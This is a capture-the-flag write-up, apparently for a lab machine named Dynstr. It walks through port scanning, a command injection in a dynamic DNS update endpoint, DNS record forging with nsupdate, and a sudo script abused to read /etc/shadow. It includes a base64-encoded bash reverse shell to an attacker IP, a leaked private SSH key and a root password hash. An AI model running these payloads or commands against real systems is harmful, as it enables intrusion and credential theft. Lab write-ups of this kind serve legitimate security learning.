Foothold
Started by doing a TCP port scan, here is the output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 05:7c:5e:b1:83:f9:4f:ae:2f:08:e1:33:ff:f5:83:9e (RSA)
| 256 3f:73:b4:95:72:ca:5e:33:f6:8a:8f:46:cf:43:35:b9 (ECDSA)
|_ 256 cc:0a:41:b7:a1:9a:43:da:1b:68:f5:2a:f8:2a:75:2c (ED25519)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On the web there isn’t much info, but a couple of domains which ended up being not relevant for any VHOST. Here is the landing page:
Tried to transfer zones, but wasn’t allowed, so the next thing I did was to enumerate web directories:
[jusepe@nix:~][1]$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dynstr.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://dynstr.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
...
nic [Status: 301, Size: 306, Words: 20, Lines: 10]
[Status: 200, Size: 10909, Words: 1937, Lines: 282]
server-status [Status: 403, Size: 275, Words: 20, Lines: 10]
:: Progress: [220560/220560] :: Job [1/1] :: 817 req/sec :: Duration: [0:04:37] :: Errors: 0 ::
There was a folder nic
, so ran a second directory scan:
[jusepe@nix:~][0]$ ffuf -c -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://dynstr.htb/nic/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://dynstr.htb/nic/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
...
[Status: 200, Size: 0, Words: 1, Lines: 1]
update [Status: 200, Size: 8, Words: 1, Lines: 2]
[Status: 200, Size: 0, Words: 1, Lines: 1]
:: Progress: [220560/220560] :: Job [1/1] :: 800 req/sec :: Duration: [0:04:33] :: Errors: 0 ::
It ended up being an endpoint of noip. After reading the API’s documentation, created a small python script to interact with it:
|
|
Tested out the functionality and return some weird error codes, also when fuzzing special chars I got nsupdate
failed, so looks like a custom script.
python3 udpate.py -d foo.no-ip.htb -i 10.10.10.10
good 10.10.10.10
python3 udpate.py -d htb -i 10.10.10.10
911 [wrngdom: ]
python3 udpate.py -d $foo.no-ip.htb -i 10.10.10.10
911 [nsupdate failed]
Then tried to test for command injection, here is the payload:
python3 udpate.py -d '$(sleep 1).no-ip.htb' -i 10.10.10.10ython3 udpate.py -d $foo.no-ip.htb -i 10.10.10.10
Now we just launch a reverse shell:
python3 udpate.py -d '$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4xOTMvOTA5MCAwPiYxCg== | base64 -d | bash).no-ip.htb' -i 10.10.10.10
User
Used linpeas to enumerate the system and among other info it pointed out to a private ssh key within /home/bindmgr
:
[+] Searching ssl/ssh files
/home/bindmgr/.ssh/authorized_keys
/home/bindmgr/.ssh/id_rsa
/home/bindmgr/.ssh/id_rsa.pub
/home/bindmgr/.ssh/known_hosts
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
Possible private SSH keys were found!
/home/bindmgr/support-case-C62796521/strace-C62796521.txt
/home/bindmgr/support-case-C62796521/C62796521-debugging.script
--> /etc/hosts.allow file found, read the rules:
/etc/hosts.allow
Searching inside /etc/ssh/ssh_config for interesting info
Include /etc/ssh/ssh_config.d/*.conf
Host *
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
Here is the leak:
read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
Just clean it and try to log in with the key. However doesn’t work for some reason.
That behaviour is kind weird until I read authorized_keys:
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
It seems that it only allows people connecting from a subdomain, so let’s create a record that points to myself.
Made an attempt to do so with the API, however it’s not allowing that domain, here is the php code:
|
|
So instead we create the record manually, after some trial with help of this post (https://superuser.com/questions/977132/when-using-nsupdate-to-update-both-a-and-ptr-records-why-do-i-get-update-faile/977138) this is the command to achieve so:
echo -e "server 127.0.0.1\nupdate add evil.infra.dyna.htb 60 IN A 10.10.15.193\n\nupdate add 193.15.10.10.in-addr.arpa. 60 IN PTR evil.infra.dyna.htb\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/ddns.key
However the key file that it is using inside the PHP endpoint doesn’t exist, just listing the files in that directory found infra.key
. Just change the key file and we are all done:
echo -e "server 127.0.0.1\nupdate add evil.infra.dyna.htb 60 IN A 10.10.15.193\n\nupdate add 193.15.10.10.in-addr.arpa. 60 IN PTR evil.infra.dyna.htb\nsend\n" | /usr/bin/nsupdate -t 1 -k /etc/bind/infra.key
Now we can log in using SSH and the private key.
Root
With a basic enumeration found out that we have sudo privileges:
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
Here is the content of the script:
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
r $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
We need to create a custom .version
so the script works:
echo 4 > .version
After trying some stuff we can link a root owned file and read it with the error that returns the script:
rm .version
ln -s /etc/shadow ".version"
sudo /usr/local/bin/bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /tmp/foo.
/usr/local/bin/bindmgr.sh: line 28: [[: root:$6$knCJjR0E8SuLyI5.$r7dGtVVY/Z6X0RQKxUvBZY4BQ3DwL7kHtu5YO9cclorPryKq489j2JqN262Ows/aRZvFkQ1R9uQyqoVWeS8ED1:18705:0:99999:7:::
...